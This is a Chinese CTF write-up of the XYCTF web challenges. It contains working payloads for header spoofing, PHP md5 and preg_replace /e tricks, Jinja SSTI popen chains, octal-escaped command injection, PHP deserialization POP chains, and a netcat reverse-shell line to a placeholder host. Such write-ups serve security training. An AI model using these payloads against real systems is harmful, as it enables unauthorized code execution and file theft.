XYCTF

WEB

ezhttp

源代码发现:为了防止忘记密码,我把它们放在某个地方了
信息泄露:robots.txt
发现 Disallow: /l0g1n.txt ==> 得到账号密码
不是 yuanshen.com 来的我不要 ==>Referer: yuanshen.com
你用的不是XYCTF的浏览器==> User-Agent: XYCTF
非本地用户禁止访问! ==>X-Forwarded-For: 127.0.0.1 X-Real-Ip: 127.0.0.1 (这两个都行不通)
最终: Client-Ip: 127.0.0.1
不是从 ymzx.qq.com 代理来的我不玩==>Via: ymzx.qq.com
有点饿,想吃点XYCTF的小饼干==>Cookies: XYCTF
———冒号后面加空格!!!*(尤其是hackbar)
OVER

Warm Up

1
$_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']
1
isset($md5) && $md5 == md5($md5)
1
$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")

payload:val1=240610708&val2=s878926199a&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
显示 LLeeevvveeelll222.php==> 打开
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) { echo "操作你O.o"; echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);

POST_a用数组绕过+++++e模式
payload:?a=/a/e&b=system(‘cat /flag’)&c=/a/e————POST: a[]=1
OVER

ezMake(命令执行绕过+shell变量替换符读文件 )

利用shell变量替换符$(<file)读文件

直接echo $(<flag)

发现不行

试试echo $$(</flag)可行

ez?Make(读文件+文件名过滤)

通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)

[^b] 代表不是b的其他字符

1
cd .. &&cd .. &&cd .. &&more [^e][^b][^b][^b]

εZ?¿м@Kε¿?(报错读文件+makefile自动变量)

Makefile 自动变量
在Makefile中,@ 、 @、@、^、$<这种类型的变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
$@:目标
$^:所有目标依赖
$<:目标依赖列表中的第一个依赖
$?:所有目标依赖中被修改过的文件
这里第一个依赖是就是 /flag
(注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是
FLAG,卡了半天读不到/flag)

配合报错带出即可 参照前面ezMake
坑点:这里两个 $$ 才代表一个 $

payload:$$(<$<)

easymd5(文件比较)

将JPG文件甩在工具fastcoll上
生成2个文件
OVER

说英文的复读(机弱密码+SSTI的简单绕过(requests))

1.抓包爆破==>密码:asdqwe
2.fuzz=>发现SSTI

requests,args,.没有过滤

直接requests绕过关键词过滤|attr()绕过[]过滤

1
?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

或者

1
2
?sentence=【lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()【&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
?sentence=【】lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
1
?sentence=【(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()【&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

zzl的护理小课堂(js代码审计)

var flagXhr = new XMLHttpRequest();
flagXhr.open(‘GET’, ‘flag.php’, true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
}
};
flagXhr.send(); // 发送请求获取 flag

控制台:
var flagXhr = new XMLHttpRequest();
flagXhr.open(‘GET’, ‘flag.php’, true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
}
};
flagXhr.send();
OVER

牢大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php  
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
(过滤了含"bin""mv""cp""ls""|""f""a""l""?""*"">"的字符串,不区分大小写。)
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

way 1)有长度限制,好说strlen($cmd) > 13
考虑 反引号执行系统命令(只有两个字符) 等价于shell_exec(); 这个命令是没有回显的
做个转接头 逃逸 命令长度限制
$_GET[1];

在php中是单行注释符 用 %0a换行即可绕过(到下一行了)

cmd=%0a$_GET[1];%23 (%23—-#)

没有回显 考虑反弹shell—nc

?cmd=%0a$_GET[1];%23&1=nc ip +端口-e /bi’’n/sh

way2)直接cp外带到网站根目录进行读取,被过滤的字符就用正则匹配绕过

1
?cmd=%0A`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z][@-z] /v[@-z]r/www/htm[@-z]

这里#必须写成%23

ezRCE

payload:八进制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__FILE__);
function waf($cmd)
{ $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

**?cmd=$%27\143\141\164%27<$%27\57\146\154\141\147%27**———%27-> ‘

https://fushuling.com/index.php/2023/03/04/%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E5%8F%98%E9%87%8F%E6%9E%84%E9%80%A0%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97%E5%91%BD%E4%BB%A4/
1.列举了白名单,数字可用,想到八进制(十六进制有字母)
2.不能纯八进制绕过,会被当做字符串,没有意义,要用**$’八进制’包裹
3.空格在linux系统里面用八进制是不可以的,
可以替代空格,就是会转义但是不能执行(比如:会被转义成cat /flag,但是不执行)空格不能用八进制绕过**,正好题目给了<——————–如果不给< 肯定会给别的,就是找替代品
4.于是被分成两部分,用<连接

ezClass

1
2
3
4
5
6
7
8
<?php  
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

结构 new 一个类(参数)->执行方法
利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性

?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage

ezSerialize

构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Flag {

public $token;

public $password;

public function __construct(){

$this->token=&$this->password;

$this->password =1;

}

}

$a=new Flag;

echo serialize($a);

题目将token的值弄成了md5(mt_rand()),我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。

知识点:

php按地址传参,我们只需要让token和passowrd指向同一块地址就可以了。

本地运行后得到O:4:”Flag”:2:{s:5:”token”;i:1;s:8:”password”;R:2;}

传参进入下一步,得到fpclosefpclosefpcloseffflllaaaggg.php

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php

highlight_file(__FILE__);

class A {

public $mack;

public function __invoke()

{

$this->mack->nonExistentMethod();

}

}

class B {

public $luo;

public function __get($key){

echo "o.O<br>";

$function = $this->luo;

return $function();

}

}

class C {

public $wang1;

public function __call($wang1,$wang2)

{

include 'flag.php';

echo $flag2;

}

}

class D {

public $lao;

public $chen;

public function __toString(){

echo "O.o<br>";

return is_null($this->lao->chen) ? "" : $this->lao->chen;

}

}

class E {

public $name = "xxxxx";

public $num;

public function __unserialize($data)

{

echo "<br>学到就是赚到!<br>";

echo $data['num'];

}

public function __wakeup(){

if($this->name!='' || $this->num!=''){

echo "旅行者别忘记旅行的意义!<br>";

}

}

}

if (isset($_POST['pop'])) {

unserialize($_POST['pop']);

}

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class A {

public $mack;

}

class B {

public $luo;

}

class C {

public $wang1;

}

class D {

public $lao;

public $chen;

}

class E {

public $name="xxxxx";

public $num;

}

$a=new E();

$a->name=new D();

$a->name->lao=new B();

$a->name->lao->luo=new A();

$a->name->lao->luo->mack=new C();

echo serialize($a);

post得到

saber_master_saber_master.php 访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
​ } else {
return True;
​ }
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
​ }
}

public function __wakeup()

{

if ($this->KickyMu->XYCTF()) {

$this->XY();

​ }

}

}

if (isset($_GET['CTF'])) {

unserialize($_GET['CTF']);

}

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
}
class XYCTFNO2{
public $crypto0;
public $adwa;
}
class XYCTFNO3{
public $KickyMu;
public $fpclose;
public $N1ght = 'Crypto0';
}
$a=new XYCTFNO3();

$a->N1ght='oSthing';

$a->KickyMu=new XYCTFNO2();

$a->KickyMu->adwa=new XYCTFNO1();

$a->KickyMu->adwa->T1ng='yuroandCMD258';

$a->KickyMu->adwa->crypto0='dev1l';

echo serialize($a);

最终命令执行触发点

1
2
 echo new $_POST['X']($_POST['Y']);
//其中类名由POST请求中的'X'键提供,构造函数的参数由POST请求中的'Y'键提供。

php原生类读文件 SplFileObject(默认读一行)
所以要结合php伪协议读文件全部内容
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
base64解码得flag

ezPop


XYCTF
https://junske51.github.io/kele6.github.io/2024/04/14/XYCTF/
Author
John Doe
Posted on
April 14, 2024
Licensed under